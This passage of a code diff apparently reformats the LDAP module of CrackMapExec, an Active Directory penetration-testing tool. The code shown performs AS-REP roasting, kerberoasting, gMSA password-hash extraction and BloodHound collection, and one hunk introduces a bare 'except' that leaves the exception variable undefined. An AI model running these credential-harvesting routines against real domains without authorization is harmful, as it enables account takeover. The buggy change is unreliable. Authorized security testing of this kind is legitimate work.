f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if error_code in ldap_error_status else 'red'
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
|
||||
@@ -487,7 +563,7 @@ class ldap(connection):
|
||||
if hash_tgt:
|
||||
self.logger.highlight(f"{hash_tgt}")
|
||||
with open(self.args.asreproast, "a+") as hash_asreproast:
|
||||
hash_asreproast.write(hash_tgt + '\n')
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
return False
|
||||
|
||||
try:
|
||||
@@ -514,10 +590,16 @@ class ldap(connection):
|
||||
# We need to try SSL
|
||||
try:
|
||||
# Connect to LDAPS
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.ldapConnection.login(
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
@@ -529,23 +611,21 @@ class ldap(connection):
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
except:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
|
||||
)
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
@@ -602,7 +682,13 @@ class ldap(connection):
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.ldapConnection.login(
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
)
|
||||
self.check_if_admin()
|
||||
|
||||
# Prepare success credential text
|
||||
@@ -618,19 +704,17 @@ class ldap(connection):
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
|
||||
)
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
|
||||
def create_smbv1_conn(self):
|
||||
@@ -684,14 +768,14 @@ class ldap(connection):
|
||||
# count of sub authorities
|
||||
sub_authorities = int(sid[1])
|
||||
# big endian
|
||||
identifier_authority = int.from_bytes(sid[2:8], byteorder='big')
|
||||
identifier_authority = int.from_bytes(sid[2:8], byteorder="big")
|
||||
# If true then it is represented in hex
|
||||
if identifier_authority >= 2 ** 32:
|
||||
if identifier_authority >= 2**32:
|
||||
identifier_authority = hex(identifier_authority)
|
||||
|
||||
# loop over the count of small endians
|
||||
sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)])
|
||||
object_sid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority
|
||||
sub_authority = "-" + "-".join([str(int.from_bytes(sid[8 + (i * 4) : 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)])
|
||||
object_sid = "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority
|
||||
return object_sid
|
||||
except Exception:
|
||||
pass
|
||||
@@ -701,30 +785,30 @@ class ldap(connection):
|
||||
# 1. get SID of the domaine
|
||||
search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
|
||||
attributes = ["objectSid"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
if resp and self.password != '' and self.username != '':
|
||||
if resp and self.password != "" and self.username != "":
|
||||
for attribute in resp[0][1]:
|
||||
if str(attribute['type']) == 'objectSid':
|
||||
sid = self.sid_to_str(attribute['vals'][0])
|
||||
self.sid_domain = '-'.join(sid.split('-')[:-1])
|
||||
if str(attribute["type"]) == "objectSid":
|
||||
sid = self.sid_to_str(attribute["vals"][0])
|
||||
self.sid_domain = "-".join(sid.split("-")[:-1])
|
||||
|
||||
# 2. get all group cn name
|
||||
search_filter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
|
||||
search_filter = "(|(objectSid=" + self.sid_domain + "-512)(objectSid=" + self.sid_domain + "-544)(objectSid=" + self.sid_domain + "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
|
||||
attributes = ["distinguishedName"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'distinguishedName':
|
||||
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")"))
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "distinguishedName":
|
||||
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")"))
|
||||
|
||||
# 3. get member of these groups
|
||||
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))"
|
||||
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))"
|
||||
attributes = [""]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
@@ -744,7 +828,7 @@ class ldap(connection):
|
||||
resp = self.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=attributes,
|
||||
sizeLimit=sizeLimit
|
||||
sizeLimit=sizeLimit,
|
||||
)
|
||||
return resp
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
@@ -762,8 +846,14 @@ class ldap(connection):
|
||||
def users(self):
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)"
|
||||
attributes = ["sAMAccountName", "description", "badPasswordTime", "badPwdCount", "pwdLastSet"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
attributes = [
|
||||
"sAMAccountName",
|
||||
"description",
|
||||
"badPasswordTime",
|
||||
"badPwdCount",
|
||||
"pwdLastSet",
|
||||
]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
answers = []
|
||||
self.logger.display(f"Total of records returned {len(resp):d}")
|
||||
@@ -777,10 +867,10 @@ class ldap(connection):
|
||||
pwdLastSet = ""
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == 'sAMAccountName':
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
elif str(attribute["type"]) == 'description':
|
||||
description = str(attribute['vals'][0])
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = str(attribute["vals"][0])
|
||||
self.logger.highlight(f"{sAMAccountName:<30} {description}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
@@ -799,7 +889,7 @@ class ldap(connection):
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
name = ''
|
||||
name = ""
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "name":
|
||||
@@ -815,10 +905,14 @@ class ldap(connection):
|
||||
if self.password == "" and self.nthash == "" and self.kerberos is False:
|
||||
return False
|
||||
# Building the search filter
|
||||
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
|
||||
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
|
||||
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
||||
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
|
||||
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
||||
attributes = [
|
||||
"sAMAccountName",
|
||||
"pwdLastSet",
|
||||
"MemberOf",
|
||||
"userAccountControl",
|
||||
"lastLogon",
|
||||
]
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
if resp == []:
|
||||
self.logger.highlight("No entries found!")
|
||||
@@ -830,15 +924,15 @@ class ldap(connection):
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
mustCommit = False
|
||||
sAMAccountName = ''
|
||||
memberOf = ''
|
||||
pwdLastSet = ''
|
||||
sAMAccountName = ""
|
||||
memberOf = ""
|
||||
pwdLastSet = ""
|
||||
userAccountControl = 0
|
||||
lastLogon = 'N/A'
|
||||
lastLogon = "N/A"
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
mustCommit = True
|
||||
elif str(attribute["type"]) == "userAccountControl":
|
||||
userAccountControl = "0x%x" % int(attribute["vals"][0])
|
||||
@@ -855,12 +949,20 @@ class ldap(connection):
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
|
||||
if mustCommit is True:
|
||||
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
||||
answers.append(
|
||||
[
|
||||
sAMAccountName,
|
||||
memberOf,
|
||||
pwdLastSet,
|
||||
lastLogon,
|
||||
userAccountControl,
|
||||
]
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
pass
|
||||
if len(answers)>0:
|
||||
if len(answers) > 0:
|
||||
for user in answers:
|
||||
hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
|
||||
self.logger.highlight(f"{hash_TGT}")
|
||||
@@ -875,9 +977,15 @@ class ldap(connection):
|
||||
|
||||
def kerberoasting(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
|
||||
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
||||
attributes = ["servicePrincipalName", "sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
|
||||
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
||||
attributes = [
|
||||
"servicePrincipalName",
|
||||
"sAMAccountName",
|
||||
"pwdLastSet",
|
||||
"MemberOf",
|
||||
"userAccountControl",
|
||||
"lastLogon",
|
||||
]
|
||||
resp = self.search(searchFilter, attributes, 0)
|
||||
if not resp:
|
||||
self.logger.highlight("No entries found!")
|
||||
@@ -917,8 +1025,7 @@ class ldap(connection):
|
||||
if str(attribute["vals"][0]) == "0":
|
||||
lastLogon = "<never>"
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute[
|
||||
"vals"][0])))))
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
|
||||
elif str(attribute["type"]) == "servicePrincipalName":
|
||||
for spn in attribute["vals"]:
|
||||
SPNs.append(str(spn))
|
||||
@@ -928,7 +1035,16 @@ class ldap(connection):
|
||||
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
|
||||
else:
|
||||
for spn in SPNs:
|
||||
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation])
|
||||
answers.append(
|
||||
[
|
||||
spn,
|
||||
sAMAccountName,
|
||||
memberOf,
|
||||
pwdLastSet,
|
||||
lastLogon,
|
||||
delegation,
|
||||
]
|
||||
)
|
||||
except Exception as e:
|
||||
cme_logger.error(f"Skipping item, cannot process due to error {str(e)}")
|
||||
pass
|
||||
@@ -937,7 +1053,14 @@ class ldap(connection):
|
||||
self.logger.display(f"Total of records returned {len(answers):d}")
|
||||
TGT = KerberosAttacks(self).getTGT_kerberoasting()
|
||||
dejavue = []
|
||||
for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
|
||||
for (
|
||||
SPN,
|
||||
sAMAccountName,
|
||||
memberOf,
|
||||
pwdLastSet,
|
||||
lastLogon,
|
||||
delegation,
|
||||
) in answers:
|
||||
if sAMAccountName not in dejavue:
|
||||
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName
|
||||
|
||||
@@ -952,12 +1075,16 @@ class ldap(connection):
|
||||
self.kdcHost,
|
||||
TGT["KDC_REP"],
|
||||
TGT["cipher"],
|
||||
TGT["sessionKey"]
|
||||
TGT["sessionKey"],
|
||||
)
|
||||
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName)
|
||||
self.logger.highlight(
|
||||
f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}"
|
||||
r = KerberosAttacks(self).outputTGS(
|
||||
tgs,
|
||||
oldSessionKey,
|
||||
sessionKey,
|
||||
sAMAccountName,
|
||||
self.targetDomain + "/" + sAMAccountName,
|
||||
)
|
||||
self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}")
|
||||
self.logger.highlight(f"{r}")
|
||||
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
|
||||
hash_kerberoasting.write(r + "\n")
|
||||
@@ -974,7 +1101,13 @@ class ldap(connection):
|
||||
def trusted_for_delegation(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
|
||||
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
|
||||
attributes = [
|
||||
"sAMAccountName",
|
||||
"pwdLastSet",
|
||||
"MemberOf",
|
||||
"userAccountControl",
|
||||
"lastLogon",
|
||||
]
|
||||
resp = self.search(searchFilter, attributes, 0)
|
||||
|
||||
answers = []
|
||||
@@ -1009,12 +1142,20 @@ class ldap(connection):
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
|
||||
if mustCommit is True:
|
||||
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
||||
answers.append(
|
||||
[
|
||||
sAMAccountName,
|
||||
memberOf,
|
||||
pwdLastSet,
|
||||
lastLogon,
|
||||
userAccountControl,
|
||||
]
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
pass
|
||||
if len(answers)>0:
|
||||
if len(answers) > 0:
|
||||
self.logger.debug(answers)
|
||||
for value in answers:
|
||||
self.logger.highlight(value[0])
|
||||
@@ -1029,8 +1170,14 @@ class ldap(connection):
|
||||
self.logger.debug(f"Search Filter={searchFilter}")
|
||||
resp = self.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"],
|
||||
sizeLimit=0
|
||||
attributes=[
|
||||
"sAMAccountName",
|
||||
"pwdLastSet",
|
||||
"MemberOf",
|
||||
"userAccountControl",
|
||||
"lastLogon",
|
||||
],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
@@ -1076,12 +1223,21 @@ class ldap(connection):
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
|
||||
if mustCommit is True:
|
||||
answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status])
|
||||
answers.append(
|
||||
[
|
||||
sAMAccountName,
|
||||
memberOf,
|
||||
pwdLastSet,
|
||||
lastLogon,
|
||||
userAccountControl,
|
||||
status,
|
||||
]
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {str(e)}")
|
||||
pass
|
||||
if len(answers)>0:
|
||||
if len(answers) > 0:
|
||||
self.logger.debug(answers)
|
||||
for value in answers:
|
||||
self.logger.highlight(f"User: {value[0]} Status: {value[5]}")
|
||||
@@ -1092,7 +1248,13 @@ class ldap(connection):
|
||||
def admin_count(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(adminCount=1)"
|
||||
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
|
||||
attributes = [
|
||||
"sAMAccountName",
|
||||
"pwdLastSet",
|
||||
"MemberOf",
|
||||
"userAccountControl",
|
||||
"lastLogon",
|
||||
]
|
||||
resp = self.search(searchFilter, attributes, 0)
|
||||
answers = []
|
||||
self.logger.debug(f"Total of records returned {len(resp):d}")
|
||||
@@ -1109,7 +1271,7 @@ class ldap(connection):
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
mustCommit = True
|
||||
elif str(attribute["type"]) == "userAccountControl":
|
||||
userAccountControl = "0x%x" % int(attribute["vals"][0])
|
||||
@@ -1126,12 +1288,20 @@ class ldap(connection):
|
||||
else:
|
||||
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
|
||||
if mustCommit is True:
|
||||
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
||||
answers.append(
|
||||
[
|
||||
sAMAccountName,
|
||||
memberOf,
|
||||
pwdLastSet,
|
||||
lastLogon,
|
||||
userAccountControl,
|
||||
]
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {str(e)}")
|
||||
pass
|
||||
if len(answers)>0:
|
||||
if len(answers) > 0:
|
||||
self.logger.debug(answers)
|
||||
for value in answers:
|
||||
self.logger.highlight(value[0])
|
||||
@@ -1144,9 +1314,13 @@ class ldap(connection):
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName", "msDS-ManagedPassword", "msDS-GroupMSAMembership"],
|
||||
attributes=[
|
||||
"sAMAccountName",
|
||||
"msDS-ManagedPassword",
|
||||
"msDS-GroupMSAMembership",
|
||||
],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
answers = []
|
||||
@@ -1159,7 +1333,7 @@ class ldap(connection):
|
||||
passwd = ""
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute['vals'][0])
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
if str(attribute["type"]) == "msDS-ManagedPassword":
|
||||
data = attribute["vals"][0].asOctets()
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
@@ -1180,7 +1354,7 @@ class ldap(connection):
|
||||
hex_letters = "0123456789abcdef"
|
||||
str_hash = ""
|
||||
for b in bin_hash:
|
||||
str_hash += hex_letters[b & 0x0f]
|
||||
str_hash += hex_letters[b & 0x0F]
|
||||
str_hash += hex_letters[b >> 0x04]
|
||||
self.logger.debug(f"Hash2: {str_hash}")
|
||||
return str_hash
|
||||
@@ -1196,7 +1370,7 @@ class ldap(connection):
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
answers = []
|
||||
@@ -1210,9 +1384,7 @@ class ldap(connection):
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id:
|
||||
self.logger.highlight(
|
||||
f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}"
|
||||
)
|
||||
self.logger.highlight(f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}")
|
||||
break
|
||||
else:
|
||||
self.logger.fail("No string provided :'(")
|
||||
@@ -1229,7 +1401,7 @@ class ldap(connection):
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
answers = []
|
||||
@@ -1250,20 +1422,35 @@ class ldap(connection):
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(data)
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new ()
|
||||
ntlm_hash.update (currentPassword)
|
||||
passwd = hexlify(ntlm_hash.digest()).decode('utf-8')
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
|
||||
else:
|
||||
self.logger.fail("No string provided :'(")
|
||||
|
||||
def bloodhound(self):
|
||||
auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto")
|
||||
ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3)
|
||||
auth = ADAuthentication(
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
domain=self.domain,
|
||||
lm_hash=self.nthash,
|
||||
nt_hash=self.nthash,
|
||||
aeskey=self.aesKey,
|
||||
kdc=self.kdcHost,
|
||||
auth_method="auto",
|
||||
)
|
||||
ad = AD(
|
||||
auth=auth,
|
||||
domain=self.domain,
|
||||
nameserver=self.args.nameserver,
|
||||
dns_tcp=False,
|
||||
dns_timeout=3,
|
||||
)
|
||||
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
|
||||
if not collect:
|
||||
return
|
||||
self.logger.highlight("Resolved collection methods: %s", ", ".join(list(collect)))
|
||||
self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect)))
|
||||
|
||||
self.logger.debug("Using DNS to retrieve domain information")
|
||||
ad.dns_resolve(domain=self.domain)
|
||||
@@ -1285,7 +1472,7 @@ class ldap(connection):
|
||||
timestamp=timestamp,
|
||||
computerfile=None,
|
||||
cachefile=None,
|
||||
exclude_dcs=False
|
||||
exclude_dcs=False,
|
||||
)
|
||||
|
||||
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
|
||||
|
||||
@@ -6,6 +6,7 @@ from bloodhound.enumeration.computers import ComputerEnumerator
|
||||
from bloodhound.enumeration.memberships import MembershipEnumerator
|
||||
from bloodhound.enumeration.domains import DomainEnumerator
|
||||
|
||||
|
||||
class BloodHound(object):
|
||||
def __init__(self, ad, hostname, host, port):
|
||||
self.ad = ad
|
||||
@@ -17,73 +18,103 @@ class BloodHound(object):
|
||||
self.proto_logger(port, hostname, host)
|
||||
|
||||
def proto_logger(self, port, hostname, host):
|
||||
self.logger = CMEAdapter(extra={
|
||||
'protocol': 'LDAP',
|
||||
'host': host,
|
||||
'port': port,
|
||||
'hostname': hostname
|
||||
})
|
||||
self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
|
||||
|
||||
def connect(self):
|
||||
if len(self.ad.dcs()) == 0:
|
||||
self.logger.fail('Could not find a domain controller. Consider specifying a domain and/or DNS server.')
|
||||
self.logger.fail("Could not find a domain controller. Consider specifying a domain and/or DNS server.")
|
||||
sys.exit(1)
|
||||
|
||||
if not self.ad.baseDN:
|
||||
self.logger.fail('Could not figure out the domain to query. Please specify this manually with -d')
|
||||
self.logger.fail("Could not figure out the domain to query. Please specify this manually with -d")
|
||||
sys.exit(1)
|
||||
|
||||
pdc = self.ad.dcs()[0]
|
||||
self.logger.debug('Using LDAP server: %s', pdc)
|
||||
self.logger.debug('Using base DN: %s', self.ad.baseDN)
|
||||
self.logger.debug("Using LDAP server: %s", pdc)
|
||||
self.logger.debug("Using base DN: %s", self.ad.baseDN)
|
||||
|
||||
if len(self.ad.kdcs()) > 0:
|
||||
kdc = self.ad.kdcs()[0]
|
||||
self.logger.debug('Using kerberos KDC: %s', kdc)
|
||||
self.logger.debug('Using kerberos realm: %s', self.ad.realm())
|
||||
self.logger.debug("Using kerberos KDC: %s", kdc)
|
||||
self.logger.debug("Using kerberos realm: %s", self.ad.realm())
|
||||
|
||||
# Create a domain controller object
|
||||
self.pdc = ADDC(pdc, self.ad)
|
||||
# Create an object resolver
|
||||
self.ad.create_objectresolver(self.pdc)
|
||||
# self.pdc.ldap_connect(self.ad.auth.username, self.ad.auth.password, kdc)
|
||||
|
||||
|
||||
# self.pdc.ldap_connect(self.ad.auth.username, self.ad.auth.password, kdc)
|
||||
|
||||
def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", computerfile="", cachefile=None, exclude_dcs=False):
|
||||
def run(
|
||||
self,
|
||||
collect,
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp="",
|
||||
computerfile="",
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
):
|
||||
